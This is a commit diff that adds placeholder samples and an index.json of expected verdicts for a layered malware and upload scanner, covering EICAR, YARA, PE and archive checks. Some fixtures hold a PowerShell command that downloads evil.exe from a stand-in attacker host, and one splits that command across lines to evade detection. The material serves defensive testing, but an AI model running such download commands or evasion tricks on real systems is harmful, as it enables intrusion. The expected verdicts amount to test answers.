feat: 32 条缺失用例占位样本补全 (171 files total)

- L0-021/023/027/028/030: 自制 zip 炸弹、5 层嵌套、超长文件名、unicode 文件名、嵌套+穿越复合
- L1-003/009/010/013/014/015: 加密 zip 占位、病毒库 .cvd 占位、10MB+EICAR、并发压测 10 文件、分层开关
- L3-009/013/022/025: 换行分割绕过、正常 scp、分层开关、白名单对照
- L4-003/004/006/007/009/011/012/013/014/015: YARA 样本占位（需 .yar 规则配合）
- L5-005/006/008/009/015/016/019: PE 导入组合、导出表、零节、超大 PE 占位
- scripts/generate_placeholder_samples.py: 一键补缺失占位
- index.json: 从 93 条 → 136 条（全部带 case_id）

tests/samples/L1-009_minimal.cvd

@@ -0,0 +1 @@
+ClamAV-VDB: placeholder test database

tests/samples/L1-014_concurrent_eicar_00.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_01.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_02.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_03.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_04.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_05.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_06.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_07.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_08.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_eicar_09.txt

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L1-014_concurrent_test.txt

@@ -0,0 +1 @@
+concurrent test placeholder

tests/samples/L1-015_layer_off_sample.bin

@@ -0,0 +1 @@
+X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

tests/samples/L3-009_newline_split.txt

@@ -0,0 +1,2 @@
+Invoke-Web
+Request https://evil.com -OutFile evil.exe

tests/samples/L3-013_normal_scp.sh

@@ -0,0 +1,2 @@
+scp /var/log/app.log ops@192.168.1.100:/backup/logs/
+rsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/

tests/samples/L3-022_layer_off_sample.bin

@@ -0,0 +1 @@
+Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe

tests/samples/L3-025_whitelist_test.txt

@@ -0,0 +1 @@
+Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\cache\file.zip

tests/samples/L4-004_multi_rule_match.txt

@@ -0,0 +1,2 @@
+test_rule_a_here
+test_rule_b_here

tests/samples/L4-006_bad_syntax_rule.yar

@@ -0,0 +1 @@
+rule BAD { strings: $a = "; condition: $a }

tests/samples/L4-007_meta_rule_match.txt

@@ -0,0 +1 @@
+yara match string placeholder

tests/samples/L4-011_count_condition.txt

@@ -0,0 +1 @@
+yara match string placeholder

tests/samples/L4-012_size_condition.bin

@@ -0,0 +1 @@
+yara match string placeholder

tests/samples/L4-014_layer_off_sample.bin

@@ -0,0 +1 @@
+rule test placeholder

tests/samples/L4-015_hash_whitelist.txt

@@ -0,0 +1 @@
+whitelisted content

tests/samples/index.json

@@ -863,6 +863,409 @@
       "expected_verdict": "pass",
       "expected_rules": [],
       "description": "正常odt文档"
+    },
+    {
+      "filename": "L0-021_small_bomb.zip",
+      "case_id": "L0-021",
+      "category": "L0",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ArchiveBombSuspect"
+      ],
+      "description": "自制小型 zip 炸弹（50 成员 × 8KB STORED）"
+    },
+    {
+      "filename": "L0-023_5layer_nested.zip",
+      "case_id": "L0-023",
+      "category": "L0",
+      "expected_verdict": "pass",
+      "expected_rules": [
+        "recursive_ok"
+      ],
+      "description": "5 层无害嵌套 ZIP"
+    },
+    {
+      "filename": "L0-027_long_filename.zip",
+      "case_id": "L0-027",
+      "category": "L0",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "压缩包内 200 字符超长文件名"
+    },
+    {
+      "filename": "L0-028_unicode_filename.zip",
+      "case_id": "L0-028",
+      "category": "L0",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "unicode/emoji 文件名"
+    },
+    {
+      "filename": "L0-030_nested_traversal.zip",
+      "case_id": "L0-030",
+      "category": "L0",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "PathTraversal"
+      ],
+      "description": "嵌套 zip 内含穿越条目"
+    },
+    {
+      "filename": "L1-003_eicar_in_encrypted.zip",
+      "case_id": "L1-003",
+      "category": "L1",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "EncryptedArchive"
+      ],
+      "description": "加密 ZIP（占位：实际加密需 7z/zip -P）"
+    },
+    {
+      "filename": "L1-009_minimal.cvd",
+      "case_id": "L1-009",
+      "category": "L1",
+      "expected_verdict": "unknown",
+      "expected_rules": [],
+      "description": "热加载测试占位（需真实 .cvd 文件）"
+    },
+    {
+      "filename": "L1-010_corrupt.cvd",
+      "case_id": "L1-010",
+      "category": "L1",
+      "expected_verdict": "unknown",
+      "expected_rules": [],
+      "description": "损坏病毒库占位"
+    },
+    {
+      "filename": "L1-013_bigfile_eicar.txt",
+      "case_id": "L1-013",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "10MB+ 文本尾部含 EICAR"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_00.txt",
+      "case_id": "L1-014-00",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #0"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_01.txt",
+      "case_id": "L1-014-01",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #1"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_02.txt",
+      "case_id": "L1-014-02",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #2"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_03.txt",
+      "case_id": "L1-014-03",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #3"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_04.txt",
+      "case_id": "L1-014-04",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #4"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_05.txt",
+      "case_id": "L1-014-05",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #5"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_06.txt",
+      "case_id": "L1-014-06",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #6"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_07.txt",
+      "case_id": "L1-014-07",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #7"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_08.txt",
+      "case_id": "L1-014-08",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #8"
+    },
+    {
+      "filename": "L1-014_concurrent_eicar_09.txt",
+      "case_id": "L1-014-09",
+      "category": "L1",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "并发压测占位 #9"
+    },
+    {
+      "filename": "L1-014_concurrent_test.txt",
+      "case_id": "L1-014",
+      "category": "L1",
+      "expected_verdict": "unknown",
+      "expected_rules": [],
+      "description": "并发压测占位（靠 API 并发调用）"
+    },
+    {
+      "filename": "L1-015_layer_off_sample.bin",
+      "case_id": "L1-015",
+      "category": "L1",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "ClamAV:EICAR"
+      ],
+      "description": "关闭分层开关测试占位"
+    },
+    {
+      "filename": "L3-022_layer_off_sample.bin",
+      "case_id": "L3-022",
+      "category": "L3",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "RemoteDownloadPowerShell"
+      ],
+      "description": "关闭分层开关测试占位"
+    },
+    {
+      "filename": "L4-014_layer_off_sample.bin",
+      "case_id": "L4-014",
+      "category": "L4",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "关闭分层开关测试占位"
+    },
+    {
+      "filename": "L5-020_layer_off_sample.bin",
+      "case_id": "L5-020",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "RWXSectionDetected"
+      ],
+      "description": "关闭分层开关测试占位"
+    },
+    {
+      "filename": "L3-009_newline_split.txt",
+      "case_id": "L3-009",
+      "category": "L3",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "换行分割绕过（L3 不做换行合并，记录边界）"
+    },
+    {
+      "filename": "L3-013_normal_scp.sh",
+      "case_id": "L3-013",
+      "category": "L3",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "内网正常 scp 运维脚本，不误报"
+    },
+    {
+      "filename": "L3-025_whitelist_test.txt",
+      "case_id": "L3-025",
+      "category": "L3",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "内网白名单域名对照（策略层白名单）"
+    },
+    {
+      "filename": "L4-003_pe_with_string.exe",
+      "case_id": "L4-003",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "二进制内嵌匹配字符串"
+    },
+    {
+      "filename": "L4-004_multi_rule_match.txt",
+      "case_id": "L4-004",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "同一个文件同时命中多条 YARA"
+    },
+    {
+      "filename": "L4-006_bad_syntax_rule.yar",
+      "case_id": "L4-006",
+      "category": "L4",
+      "expected_verdict": "unknown",
+      "expected_rules": [],
+      "description": "语法错误 YARA 规则文件（输入给规则目录）"
+    },
+    {
+      "filename": "L4-007_meta_rule_match.txt",
+      "case_id": "L4-007",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "带 meta 的 YARA 规则匹配"
+    },
+    {
+      "filename": "L4-009_yara_in_encrypted.zip",
+      "case_id": "L4-009",
+      "category": "L4",
+      "expected_verdict": "review",
+      "expected_rules": [],
+      "description": "加密 zip 内 YARA 样本"
+    },
+    {
+      "filename": "L4-011_count_condition.txt",
+      "case_id": "L4-011",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "YARA count > 3 条件"
+    },
+    {
+      "filename": "L4-012_size_condition.bin",
+      "case_id": "L4-012",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "YARA 文件大小条件"
+    },
+    {
+      "filename": "L4-013_bigfile_yara.txt",
+      "case_id": "L4-013",
+      "category": "L4",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "YARA"
+      ],
+      "description": "100MB 文件 YARA 扫描"
+    },
+    {
+      "filename": "L4-015_hash_whitelist.txt",
+      "case_id": "L4-015",
+      "category": "L4",
+      "expected_verdict": "pass",
+      "expected_rules": [],
+      "description": "MD5 在白名单"
+    },
+    {
+      "filename": "L5-005_injection_imports.exe",
+      "case_id": "L5-005",
+      "category": "L5",
+      "expected_verdict": "reject",
+      "expected_rules": [
+        "SuspiciousImports"
+      ],
+      "description": "注入组合导入（需要真实 pefile 引入 API）"
+    },
+    {
+      "filename": "L5-006_single_virtualalloc.exe",
+      "case_id": "L5-006",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "SuspiciousImports"
+      ],
+      "description": "单一可疑内存 API"
+    },
+    {
+      "filename": "L5-008_many_exports.exe",
+      "case_id": "L5-008",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [],
+      "description": "导出表异常（需真实工具生成）"
+    },
+    {
+      "filename": "L5-009_shell_in_resource.exe",
+      "case_id": "L5-009",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [],
+      "description": "资源段内嵌字符串（占位）"
+    },
+    {
+      "filename": "L5-015_bad_reloc.exe",
+      "case_id": "L5-015",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "PeParseFailed"
+      ],
+      "description": "重定位表损坏占位"
+    },
+    {
+      "filename": "L5-016_zero_sections.exe",
+      "case_id": "L5-016",
+      "category": "L5",
+      "expected_verdict": "review",
+      "expected_rules": [
+        "PeParseFailed"
+      ],
+      "description": "无节表最小 PE"
+    },
+    {
+      "filename": "L5-019_200mb_huge.exe",
+      "case_id": "L5-019",
+      "category": "L5",
+      "expected_verdict": "unknown",
+      "expected_rules": [],
+      "description": "200MB 超大 PE（占位，真实生成会写满磁盘）"
     }
-  ]
+  ],
+  "placeholder_generated_at": "2026-10-29T11:36:17.181303"
 }